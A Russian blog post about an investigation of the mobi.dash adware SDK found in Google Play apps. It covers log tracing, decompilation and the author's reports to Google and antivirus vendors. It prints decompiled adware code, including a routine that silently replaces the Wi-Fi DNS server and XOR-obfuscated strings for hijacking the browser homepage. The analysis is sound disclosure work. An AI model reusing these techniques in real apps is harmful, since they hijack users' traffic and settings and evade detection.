Как я боролся с adware в Google Play и проиграл
За последние сутки сотни новостных сайтов (клац и тыц) перепечатывают одну интересную новость, рассказывающую про обнаружение очередных зловредных приложений в Google Play. На этот раз adware показывало назойливую рекламу каждый раз при разблокировке устройства и было установлено на миллиарды миллионы телефонов и планшетов. К счастью, антивирусная компания Avast вовремя обнаружила угрозу и приложения были удалены.Под катом я расскажу свою версию событий: как я вычислял и искал adware в Google Play, декомпилировал код adware sdk, можно ли дождаться ответа от поддержки Google, почему мобильные антивирусы бесполезны и как им удается на горячем инфоповоде сделать себе хорошую бесплатную рекламу.
«Ваша версия Android устарела«Однажды вечером моя более гуманитарная и прекрасная половинка подошла ко мне в вопросом — почему она не может установить обновление на телефон, хотя телефон об этом постоянно просит. На экране была открыта вкладка браузера с заманчивым предложением все-таки установить это обновление. При закрытии вкладки оказалось, что таких страниц открыто в браузере более 80 штук. После непродолжительного допроса выяснилось, что никаких подозрительных приложений на телефон, действительно, не устанавливали — в настройках даже отключена возможность установки из сторонних источников. Как оказалось, каждый раз при разблокировке телефона в браузере открывалась ссылка с рекламой или рекламный баннер AdMob поверх лончера.
История становилась интересной, так как приложение пришло явно из Google Play. Взяв телефон в одну руку и LogCat в другую, я стал выяснять, кто же запускает эту рекламу.
//TODO: Отключить логи в релизе Виновник торжества был установлен очень быстро — как оказалось, разработчики совсем не позаботились об отключении логирования в релизной версии. Каждый раз при блокировке или разблокировке экрана в LogCat сыпалась подробнейшая информация о результате выполнения запроса на сервер за рекламой и прочие отладочные данные. Выглядело это как так: Logcat 01–31 02:15:13.303: D/Microlog (3020): Microlog 1669935:[DEBUG]-Open url external. Start with intent: Intent { act=android.intent.action.VIEW dat=http://brodero.com/v2/b/rs? agid=af70e9985-a73c-46d6-a24e-a7e112748cf7&vid=3ad864d4–643d-4f55–8dbd-ae76ebf08bbc&bgid=ba6195268-bfaa-451c-8736-aba9b7449306&u=http://terigal.ru/7utq44kvjob6n2rq47av5t9122twv5ob511×1 pxpj4q&dyn=xK9dZt_ZDOxeAvvtziYEB32B-KaPEp3_gYayyDZDVS0&sig=eqrEar8HUBLiNU87e0xioQ&ts=1421968510077&m=0 flg=0×10000000 cmp=com.android.chrome/com.google.android.apps.chrome.Main }01–31 02:15:13.306: I/ActivityManager (734): START u0 {act=android.intent.action.VIEW dat=http://brodero.com/v2/b/rs? agid=af70e9985-a73c-46d6-a24e-a7e112748cf7&vid=3ad864d4–643d-4f55–8dbd-ae76ebf08bbc&bgid=ba6195268-bfaa-451c-8736-aba9b7449306&u=http://terigal.ru/7utq44kvjob6n2rq47av5t9122twv5ob511×1 pxpj4q&dyn=xK9dZt_ZDOxeAvvtziYEB32B-KaPEp3_gYayyDZDVS0&sig=eqrEar8HUBLiNU87e0xioQ&ts=1421968510077&m=0 flg=0×10000000 cmp=com.android.chrome/com.google.android.apps.chrome.Main} from uid 10065 on display 0
Интент запускал процесс с PID 3020. Оставалось только узнать, какому же пакету принадлежит этот PID. В этом помогла команда «ps | grep 3020», выполненная в adb shell. Ответ я получил однозначный: adb shell shell@hammerhead:/ $ ps | grep 3020ps | grep 3020u0_a65 3020 195 1534568 66696 ffffffff 00000000 S com.sweet.world.history
Оказалось, что за этим стояло приложение «Мировая История». У приложения оказалось более 5 тысяч установок. Причем было оно установлено из Google Play давно, а вот реклама начала сыпаться недавно. После удаления приложения реклама конечно же перестала мозолить глаза.Что ж, это было нетрудно, но нельзя же просто так это оставить. Самое время препарировать APK и залезть внутрь кода.«Скальпель, зажим…» Насчет инструментов ничего нового я не расскажу — я использовал dex2jar для получения кода в jar, apktool для декомпиляции xml-ресурсов (а еще он умеет в smali, но это совсем другая история) и Luyten для декомпиляции jar-ки. Последний, кстати, крайне рекомендую — Luyten это просто GUI для Procyon, который в свою очередь очень классный. По крайней мере, по сравнению с JD, которым я пользовался раньше, Procyon мне понравился больше.Хабровчане, знакомые с разработкой под Android, уже поняли, что приложение явно регистрирует broadcast receiver на события android.intent.action.SCREEN_OFF и android.intent.action.SCREEN_ON для показа такой хитрой рекламы. Подписаться на эти экшены можно только из кода, поэтому в манифесте ничего интересного быть не должно. Но все-таки заглянем и туда (не зря же его декомпилировали, в конце концов) — в манифесте таки нашлись несколько интересных компонентов. Один из broadcast receiver-ов был подписан на android.intent.action.BOOT_COMPLETED. Назывался он mobi.dash.overapp.DisplayCheckRebootReceiver — с него я и приступил к изучению кода:
DisplayCheckRebootReceiver public void onReceive (final Context context, final Intent intent) { AdsLog.d («AdsOverappRebootReceiver», intent.toString ()); Object stringExtra = null; if (intent!= null) { stringExtra = intent.getStringExtra (DisplayCheckRebootReceiver.Param_Event); } if (DisplayCheckRebootReceiver.Event_SendAlive.equals (stringExtra)) { sendAlive (context); return; } AdsOverappRunner.ping (context.getApplicationContext ()); } Как видно из кода, после первой перезагрузки вызовется метод AdsOverappRunner.ping. Указанный метод загружает настройки из файла ads_settings.json, который находится в ресурсах в папке raw, и запускает ожидание. Причем сколько будет длится это ожидание — указано в файле ads_settings.json. Дальше все предельно просто — с этого момента через AlarmManager с периодичностью в 15 минут приложение будет дергать все тот же DisplayCheckRebootReceiver и проверять, не вышел ли инкубационный период. После того, как ожидание закончиться будет запущен mobi.dash.overapp.DisplayCheckService, который уже и станет радовать пользователя рекламой.В принципе пока ничего необычного, если бы не один факт — все это было не поделкой автора приложения, а явно являлось сторонним SDK. Причем даже без всякого дальнейшего анализа оно уже внушало доверие, в пакете mobi.dash лежало около 200 классов.
Каждый раз при блокировке экрана SDK делало запрос на сервер и получало в ответе рекламу, которую стоит показать. При этом, поддерживались разные типы рекламы:
DisplayCheckService public void showAd (final AdsOverappType lastOverappType, final BannerData bannerData) { this.hideAd (); BlacklistManager.getInatance ().onBannerShow ((Context)this, bannerData.id); Ads.getHistory ().addBannerAction (bannerData.localId, «service», «showAd»); this.lastOverappType = lastOverappType; this.saveLastOverappType (); if (lastOverappType == AdsOverappType.Alert) { this.showAlert (bannerData); return; } if (lastOverappType == AdsOverappType.Recommendation) { this.showRecomendation (bannerData); return; } if (lastOverappType == AdsOverappType.Link) { this.showLink (bannerData); return; } if (lastOverappType == AdsOverappType.Sdk) { this.showSdk (bannerData); this.waitAndRequestNextAd (); return; } if (lastOverappType == AdsOverappType.Notification) { this.showNotification (bannerData); this.waitAndRequestNextAd (); return; } this.showBanner (bannerData); this.waitAndRequestNextAd (); } По команде с сервера SDK могло показывать диалог с заданным текстов, открывать ссылки в бразуере, показывать рекламу AdMob, Mopub или Chartboost, кидать уведомления.Кроме этого, внутри нашелся более интересный функционал — SDK умело менять dns сервер в настройках wi-fi соединения:
DisplayCheckService public static void setupDns (final Context context) { final String dns = getDns (context); if (! TextUtils.isEmpty ((CharSequence)dns)) { final WifiManager wifiManager = (WifiManager)context.getSystemService («wifi»); if (wifiManager!= null) { final DhcpInfo dhcpInfo = wifiManager.getDhcpInfo (); if (dhcpInfo!= null) { final String formatIpAddress = Formatter.formatIpAddress (dhcpInfo.ipAddress); final String formatIpAddress2 = Formatter.formatIpAddress (dhcpInfo.netmask); final String formatIpAddress3 = Formatter.formatIpAddress (dhcpInfo.gateway); final ContentResolver contentResolver = context.getContentResolver (); Settings$System.putString (contentResolver, «wifi_use_static_ip»,»1»); Settings$System.putString (contentResolver, «wifi_static_ip», formatIpAddress); Settings$System.putString (contentResolver, «wifi_static_netmask», formatIpAddress2); Settings$System.putString (contentResolver, «wifi_static_gateway», formatIpAddress3); Settings$System.putString (contentResolver, «wifi_static_dns1», dns); Settings$System.putString (contentResolver, «wifi_static_dns2», dns); } } } } Вероятнее всего, делалось этого для того, чтобы переадресовывать пользователей на нужные рекламные сайты.Так же SDK могло создавать фальшивые ярлыки на рабочем столе, которые вели пользователя по ссылкам, пришедшим с сервера. Ну и пожалуй последний интересный функционал — возможность менять домашнюю страницу в браузере. Код, отвечающий за это, оказался единственным защищенным местом в SDK — все остальное, как можно заменить, даже не было обфусцированно. Браузеры бывают разные, поэтому и в SDK используется три разных способа. При этом названия интентов или URI путей в content resolver-е, которые использовались для смены домашней страницы, были зашифрованы криптостойким алгоритмом шифрования XOR и изначально выглядели как массив байт: HomepageInjector a = new byte[] { 13, 9, 1, 37, 14, 25, 55, 75, 27, 24, 29, 6, 11, 90, 94, 16, 29, 25, 89, 3, 0, 0, 93, 58, 54, 32, 58, 58, 97, 4, 11, 3, 21, 6, 9, 45, 49, 38, 32, 32, 62, 55, 107, 59 }; b = new byte[] { 9, 1, 9, 23, 26, 27, 13 }; После нехитрой операции это превращалось в обычный текст: XOR lgeWapService.prov.persister.INSTALL_BROWSERhomeuri
А дальше кидался broadcast с таким экшеном и экстра-параметром. Вероятно, что на телефонах LG это действительно меняет домашнюю страницу. Скорее всего это сделано для защиты от сканирования антивирусами. По крайней мере virustotal уверенно заявлял, что приложение абсолютно безопасно.Имя им легион Так как SDK выглядело очень хорошо, навряд ли его писали только лишь для того, чтобы встроить в приложение с 5 тысячами установок. В первую очередь я проверил остальные приложения того же автора. Как оказалось, в каждом из них было встроено реклама mobi.dash. А приложений у автора было немало:
Конечно, в основном у них было совсем немного установок, но у одного из них количество установок перевалило за 50 тысяч. Но одним издателем, конечно, распространение этого SDK не должно ограничиваться. Так как SDK ходило за рекламой на сервер ad1.mads.bz я решил поискать кто же еще сталкивался с этой проблемой. Оказалось, что на 4pda есть целая тема, где пользователи сражаются с такой рекламой. Там я нашел упоминания еще двух приложений, которые тянули рекламу с ad1.mads.bz. Эти приложения оказались намного популярней:
Более 5 миллионов и более 1 миллиона установок — неплохой охват аудитории. У карточной игры «Дурак» при таком количестве установок должны быть десятки тысяч активных пользователей ежедневно. В отзывах было много негативных комментариев про то, что игра показывает рекламу, но антивирусы ничего не определяют. Это было довольно-таки странным, учитывая антивирусы ругаются даже на AirPush SDK, реклама у которых явно менее назойливая. Кстати, первое мною найденное упоминание mobi.dash sdk датируется 1 октября 2013 года. Вероятно, спустя полтора года и сотни жалоб пользователей, кто-то должен быть принять меры? Что еще делать обычному пользователю (хардресет, конечно), если у него поселилась такая реклама, если не искать помощи у мобильных антивирусов. Я проверил три мобильных антивируса: Avast Mobile Security, Dr. Web и Kaspersky Internet Security. Мнение было единогласным:
Кто-то считал, с моим телефоном все было в порядке. Пожалуй, с этим нужно было что-то делать.
«Хватит это терпеть!» К этому моменту у меня уже была обширная информация и о возможностях SDK, и о том, какие приложения его в себе несут. Поэтому первым делом я решил наябедничать сообщить в этом в Google. Под каждым приложением в Google Play есть ссылка «Flag as inappropriate» (была она там, кстати, не всегда и появилась только летом 2014 года), нажав на которую каждый может сообщить о нарушении. Гугл относится к этим жалобам настолько серьезно, что даже рисует мультфильмы о том, насколько серьезно он к этому относится. Пройдя не самый простой путь от ссылки Flag as inappropriate до поля для ввода текста моей жалобы я вкратце изложил всю суть. Через минуту мне на почту пришел ответ от бота, который просил описать подробнее, какие же правила нарушает приложение и приложить дополнительные материалы (скриншоты и т. д.), которые помогут им. В ответ я выдал длинное и обстоятельное письмо, в котором объяснил, что нарушены 4 правила из Google Play Content Policy: Google Play Content Policy violation This app violate the following policies:* Google Play Content Policy, chapter 'System Interference': — This includes behavior such as replacing or reordering the default presentation of apps, widgets, or the settings on the device. If an app makes such changes with the user«s knowledge and consent, it must be clear to the user which app has made the change and the user must be able to reverse the change easily, or by uninstalling the app altogether.+ App can change DNS server when wi-fi is connected in order to redirect users to malicious sites
— Apps and their ads must not modify or add browser settings or bookmarks, add homescreen shortcuts, or icons on the user«s device as a service to third parties or for advertising purposes.+ App can change browser homepage and create homescreen shortcuts
— Apps and their ads must not display advertisements through system level notifications on the user«s device, unless the notifications derive from an integral feature provided by the installed app (e.g., an airline app that notifies users of special deals, or a game that notifies users of in-game promotions).+ App shows ad at system level overlapping all other applications
* Google Play Ad Policy, chapter 'Ads Context': — Ads must not simulate or impersonate the user interface of any app, or notification and warning elements of an operating system. It must be clear to the user which app each ad is associated with or implemented in.+ Shown ads simulate operating system warning very often, screenshots are attached
Для полного понимания я даже записал видео, чтобы показать как выглядит эта реклама:[embedded content]Я подробно описал мои изыскания по поводу рекламного SDK и его возможностей, а так же предоставил список приложений. Я написал подробную инструкцию, как можно быстро добиться показа рекламы простым переводом даты. Письмо от меня ушло 22 января.Я думаю, что никого не удивит, что я не получил на него никакого ответа и не добился от гугла никакого результата. К сожалению, в гугле обработкой жалоб от пользователей занимается мистер коробочка и они откладываются в дальний ящик.Антивирусы Тем не менее, даже если приложения останутся в гугле (а их там, кстати, 140 штук), то было бы неплохо, если антивирусы хоть как-то предупреждали об этом SDK. Я создал темы на форумах Avast, Dr. Web и Kaspersky, в которых указал на то, что антивирусы никак не реагируют на такую рекламу и неплохо было бы все-таки внести ее в базы. Пока это сделать предельно просто — ведь в манифесте у таких приложений объявлены компоненты mobi.dash. На форуме Kaspersky отреагировали очень быстро, пообещали разобраться и даже подарили годовую подписку. Модератор на форуме Dr. Web предложил мне отправить файл на анализ в антивирусную лабораторию. Avast отреагировал спустя 3 дня и пообещал разобраться. Больше я никакой активности в темах на форуме не было.Сегодня, спустя 10 дней после моих форумных сообщений, внезапно под видео с демонстрацией рекламы, начали появляться комментарии. Это было несколько странно, учитывая, что видео было приватным. Еще более странным было то, что у видео было 10 тысяч просмотров (а на данный момент уже перевалило за 20 тысяч). Оказалось, что Avast разместил в блоге статью о приложениях с этим рекламным SDK. Ничего нового, кроме написанного мной, в этой статье не было, разве что добавилась реклама премиум версии антивируса от Avast, который уже определяет эту рекламу. Видимо, история оказалось интересной и пресс-релизы попали в цель. Как-то так и получилось, что после того как я выложил ссылки на приложения и анализ SDK на форуме, новость о том, как компания Avast и аналитик Филип Китры (Filip Chytry) обнаружили вредоносные приложения в Google Play попала на многие крупные информационные ресурсы. Причем тут компания Avast и аналитик Филип Китры, казалось бы.
Спустя шесть часов после публикации в блоге все указанные мной приложения были удалены из Google Play:
About six hours after this post went live, a Google spokeswoman e-mailed to say the three apps have been pulled from Play.
Happy end Пусть конкретно моя борьба с adware и закончилась ничем — моя жалоба была проигнорирована гуглом и спасителями оказалась компания Avast, но все-таки результат был достигнут. Правда, к этому результату я имею весьма посредственное отношение — достучаться до гугла оказалось невозможно, да и производители антивирусов не очень заинтересованы в улучшении мобильных продуктов, если за 1.5 года не обратили вниманию на такую проблему. Тем не менее, хочется верить что многим пользователям результаты этой истории немного облегчат жизнь в будущем.